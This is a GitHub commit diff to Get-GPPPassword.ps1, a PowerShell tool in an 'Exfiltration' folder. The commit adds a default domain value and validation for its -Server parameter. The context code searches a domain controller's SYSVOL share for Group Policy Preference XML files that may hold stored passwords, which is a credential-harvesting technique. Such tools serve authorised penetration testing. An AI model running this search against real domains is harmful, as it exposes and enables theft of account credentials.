Skip to content

Commit 87630ca

Browse files
authored
Added default value to parameter
Added default value to parameter and got rid of value check later in the code. Added validation of -Server value to ensure it is not $Null or an empty string
1 parent 548b886 commit 87630ca

File tree

1 file changed

+4
-12
lines changed

1 file changed

+4
-12
lines changed

Exfiltration/Get-GPPPassword.ps1

Lines changed: 4 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -84,8 +84,9 @@ function Get-GPPPassword {
8484

8585
[CmdletBinding()]
8686
Param (
87+
[ValidateNotNullOrEmpty()]
8788
[String]
88-
$Server
89+
$Server = $Env:USERDNSDOMAIN
8990
)
9091

9192
#Some XML issues between versions
@@ -227,19 +228,10 @@ function Get-GPPPassword {
227228
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
228229
throw 'Machine is not a domain member or User is not a member of the domain.'
229230
}
230-
231-
#Allow users to specify domain controller
232-
if ($Server) {
233-
$DomainController = $Server
234-
}
235-
236-
else {
237-
$DomainController = $Env:USERDNSDOMAIN
238-
}
239231

240232
#discover potential files containing passwords ; not complaining in case of denied access to a directory
241-
Write-Verbose "Searching \\$DomainController\SYSVOL. This could take a while."
242-
$XMlFiles = Get-ChildItem -Path "\\$DomainController\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
233+
Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
234+
$XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
243235

244236
if ( -not $XMlFiles ) {throw 'No preference files found.'}
245237

0 commit comments

Comments
 (0)